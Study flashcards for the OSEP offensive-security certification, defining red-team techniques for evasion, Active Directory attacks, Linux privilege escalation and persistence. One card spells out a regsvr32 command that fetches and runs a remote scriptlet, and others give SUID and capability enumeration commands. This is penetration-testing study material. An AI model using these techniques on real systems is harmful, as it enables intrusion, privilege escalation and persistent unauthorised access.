OSEP flashcards

32 cards. Read the term and the definition here. The deck at the top of this page is optional.

Mark-of-the-Web

An NTFS Zone.Identifier alternate data stream with ZoneId=3 that Windows adds to files downloaded from the internet; Office and Explorer use it to enable Protected View and block macros.

HTML smuggling

A delivery technique where JavaScript in an HTML attachment assembles an encoded payload into a Blob in browser memory and saves it to disk, so the executable never passes through email gateways.

Device code phishing

The attacker starts an OAuth device-code flow for an identity provider, sends the short code to the victim, and receives a valid access and refresh token once the victim authenticates.

OAuth consent phishing

A malicious registered application requests delegated Graph permissions such as Mail.Read or offline_access; the victim grants consent, giving token-based mailbox access without any password being captured.

Password spraying

Trying one or a few common passwords against many accounts to stay under lockout thresholds; typical thresholds are 5-10 attempts, so passwords are rotated between rounds.

LNK shortcut payloads

Windows shortcut files specify a target, arguments, icon and working directory; abusing them to launch PowerShell or cmd one-liners works because gateways and users often treat .lnk as benign.

OneNote embedded object abuse

A .one notebook can embed an executable or script as an object; the victim must double-click it to run, bypassing many attachment filters that block .exe files.

ISO and IMG MOTW gap

Windows mounts .iso and .img files as drives; on older builds files inside inherit no Mark-of-the-Web, so scripts and executables run without Protected View prompts.

AMSI

Antimalware Scan Interface, a Windows API that lets AV and EDR scan script and .NET content at runtime; PowerShell, VBScript, JScript and .NET call AmsiScanBuffer before executing.

AmsiScanBuffer patching

Overwriting the opening bytes of amsi.dll!AmsiScanBuffer in the current process so it returns AMSI_RESULT_CLEAN, disabling scanning for that process; EDR may flag the memory write.

ETW EventWrite patching

Patching ntdll!EtwEventWrite to return early blinds Event Tracing for Windows providers such as .NET runtime logging; the effect is limited to the patched process.

Regsvr32 Squiblydoo

regsvr32 /s /n /u /i:http://host/file.sct scrobj.dll loads a remote COM scriptlet and executes script without writing to disk, defeating many default AppLocker rule sets.

InstallUtil execution

InstallUtil.exe runs methods marked with RunInstallerAttribute inside a .NET assembly, giving code execution through a Microsoft-signed binary that default AppLocker rules usually allow.

MSBuild inline task

MSBuild.exe compiles and runs inline C# tasks defined in an XML project file, providing execution under a signed Microsoft binary without writing a compiled assembly to disk.

Direct syscalls

Invoking Nt system calls by loading the syscall number into EAX and executing the syscall instruction from the caller's code, bypassing userland hooks that EDR places in ntdll.

DLL search order hijacking

Placing a malicious DLL named like one a signed application loads into a writable directory searched earlier, so the trusted binary loads and executes attacker code.

Kerberoasting

Requesting a Kerberos service ticket for an account with a registered SPN and cracking it offline; RC4-HMAC (etype 23) tickets crack fastest and no admin rights are required.

AS-REP roasting

For accounts with DONT_REQ_PREAUTH set, the KDC returns an AS-REP encrypted with the user's password-derived key, enabling offline password cracking without prior authentication.

Unconstrained delegation

A computer configured with TrustedForDelegation caches TGTs of any user authenticating to it; coercing a domain controller via PrinterBug or PetitPotam yields a domain admin TGT.

Resource-based constrained delegation

Writing msDS-AllowedToActOnBehalfOfOtherIdentity on a target computer grants chosen principals impersonation rights; requires a controlled computer account and the S4U2Self then S4U2Proxy sequence.

ADCS ESC1

A certificate template allowing the enrollee to supply a subjectAltName and including the Client Authentication EKU; any enrolled user can request a certificate as another user and PKINIT to a TGT.

DCSync

Abusing DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights to impersonate a domain controller and pull password hashes through DRSUAPI without running code on the DC.

SeImpersonatePrivilege abuse

Accounts holding SeImpersonatePrivilege, such as IIS or MSSQL service accounts, can use Potato-family exploits to impersonate an attacker-controlled SYSTEM token and escalate to SYSTEM.

Golden ticket

A forged Kerberos TGT signed with the KRBTGT account hash; it grants access to any service in the domain and stays valid until KRBTGT is rotated twice.

GTFOBins

A catalog of Unix binaries that can break out of restricted shells, escalate privileges through sudo or SUID, or transfer files, documenting exact command lines for each binary.

SUID enumeration

find / -perm -4000 -type f lists binaries running with the owner's privileges; any non-standard SUID binary or one documented in GTFOBins is a privilege escalation candidate.

File capability abuse

getcap -r / reveals binaries with capabilities such as cap_setuid+ep; running such an interpreter lets an unprivileged user call setuid(0) and become root.

ld.so.preload persistence

Adding a shared object path to /etc/ld.so.preload forces the dynamic linker to load it into every new process, giving code execution on each program start; requires root to write.

authorized_keys persistence

Appending an attacker public key to ~/.ssh/authorized_keys grants passwordless SSH login as that user, survives reboots, and does not appear in process listings.

Docker socket escape

If /var/run/docker.sock is mounted or writable, a user can start a privileged container with the host root filesystem mounted and modify host files or cron entries.

Chisel pivoting

An HTTP-tunnelled proxy where a chisel server on the attacker host and a client on the compromised host create SOCKS or port-forward channels through restrictive egress firewalls.

PwnKit

CVE-2021-4034 in pkexec: an out-of-bounds argv handling flaw lets any local user gain root on essentially every Linux distribution with polkit installed since 2009.